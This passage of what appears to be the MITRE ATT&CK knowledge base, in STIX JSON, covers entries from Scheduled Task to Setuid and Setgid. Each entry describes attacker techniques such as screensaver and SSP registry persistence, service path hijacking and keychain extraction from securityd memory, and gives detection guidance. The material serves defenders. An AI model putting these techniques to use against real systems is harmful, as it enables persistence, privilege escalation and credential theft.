            "description": "Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.",
            "external_references": [
                {
                    "external_id": "T1053",
                    "url": "https://attack.mitre.org/techniques/T1053",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-557",
                    "url": "https://capec.mitre.org/data/definitions/557.html",
                    "source_name": "capec"
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                    "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx",
                    "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
                    "source_name": "TechNet Task Scheduler Security"
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                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://twitter.com/leoloobeek/status/939248813465853953",
                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.",
                    "source_name": "Twitter Leoloobeek Scheduled Task"
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                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
                    "source_name": "TechNet Forum Scheduled Task Operational Setting"
                },
                {
                    "url": "https://technet.microsoft.com/library/dd315590.aspx",
                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
                    "source_name": "TechNet Scheduled Task Events"
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            "x_mitre_contributors": [
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                "Travis Smith, Tripwire",
                "Alain Homewood, Insomnia Security"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters",
                "Windows event logs"
            ],
            "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\\System32\\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n* Event ID 106 - Scheduled task registered\n* Event ID 140 - Scheduled task updated\n* Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
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                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_effective_permissions": [
                "SYSTEM",
                "Administrator",
                "User"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
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                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
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            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:46.977Z",
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scheduled Transfer",
            "description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.",
            "external_references": [
                {
                    "external_id": "T1029",
                    "url": "https://attack.mitre.org/techniques/T1029",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Netflow/Enclave netflow",
                "Process use of network",
                "Process monitoring"
            ],
            "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "exfiltration",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:34.139Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Screen Capture",
            "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n### Mac\n\nOn OSX, the native command <code>screencapture</code> is used to capture screenshots.\n\n### Linux\n\nOn Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)",
            "external_references": [
                {
                    "external_id": "T1113",
                    "url": "https://attack.mitre.org/techniques/T1113",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
                }
            ],
            "object_marking_refs": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring",
                "Process monitoring",
                "File monitoring"
            ],
            "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:25.060Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Screensaver",
            "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in <code>C:\\Windows\\System32\\</code> along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaverTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)",
            "external_references": [
                {
                    "external_id": "T1180",
                    "url": "https://attack.mitre.org/techniques/T1180",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Screensaver",
                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
                    "source_name": "Wikipedia Screensaver"
                },
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "source_name": "ESET Gazer Aug 2017"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Bartosz Jerzman"
            ],
            "x_mitre_data_sources": [
                "Process Monitoring",
                "Process command-line parameters",
                "Windows Registry",
                "File monitoring"
            ],
            "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scripting",
            "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macos being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit),  (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",
            "external_references": [
                {
                    "external_id": "T1064",
                    "url": "https://attack.mitre.org/techniques/T1064",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
                },
                {
                    "url": "http://www.metasploit.com",
                    "description": "Metasploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Metasploit"
                },
                {
                    "url": "https://www.veil-framework.com/framework/",
                    "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Veil"
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                },
                {
                    "url": "https://www.uperesia.com/analyzing-malicious-office-documents",
                    "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.",
                    "source_name": "Uperesia Malicious Office Documents"
                }
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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                "File monitoring",
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            "x_mitre_defense_bypassed": [
                "Process whitelisting",
                "Data Execution Prevention",
                "Exploit Prevention"
            ],
            "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)",
            "x_mitre_permissions_required": [
                "User"
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            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
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                    "phase_name": "execution",
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:51.733Z",
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Security Software Discovery",
            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.",
            "external_references": [
                {
                    "external_id": "T1063",
                    "url": "https://attack.mitre.org/techniques/T1063",
                    "source_name": "mitre-attack"
                }
            ],
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:51.330Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Security Support Provider",
            "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)",
            "external_references": [
                {
                    "external_id": "T1101",
                    "url": "https://attack.mitre.org/techniques/T1101",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "DLL monitoring",
                "Windows Registry",
                "Loaded DLLs"
            ],
            "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:13.447Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Securityd Memory",
            "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)",
            "external_references": [
                {
                    "external_id": "T1167",
                    "url": "https://attack.mitre.org/techniques/T1167",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
                    "source_name": "OS X Keychain"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                },
                {
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "source_name": "External to DA, the OS X Way"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process Monitoring"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "root"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Service Execution",
            "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.",
            "external_references": [
                {
                    "external_id": "T1035",
                    "url": "https://attack.mitre.org/techniques/T1035",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).",
            "x_mitre_data_sources": [
                "Windows Registry",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:36.550Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Service Registry Permissions Weakness",
            "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)",
            "external_references": [
                {
                    "external_id": "T1058",
                    "url": "https://attack.mitre.org/techniques/T1058",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-203",
                    "url": "https://capec.mitre.org/data/definitions/203.html",
                    "source_name": "capec"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx",
                    "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
                    "source_name": "MSDN Registry Key Security"
                },
                {
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
                    "source_name": "Twitter Service Recovery Nov 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "Process command-line parameters",
                "Services",
                "Windows Registry"
            ],
            "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Ability to modify service values in the Registry"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:49.119Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Setuid and Setgid",
            "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively  (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future  (Citation: OSX Keydnap malware).",
            "external_references": [
                {
                    "external_id": "T1166",
                    "url": "https://attack.mitre.org/techniques/T1166",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                },
                {
                    "url": "http://man7.org/linux/man-pages/man2/setuid.2.html",
                    "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
                    "source_name": "setuid man page"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
                "Process command-line parameters"
            ],
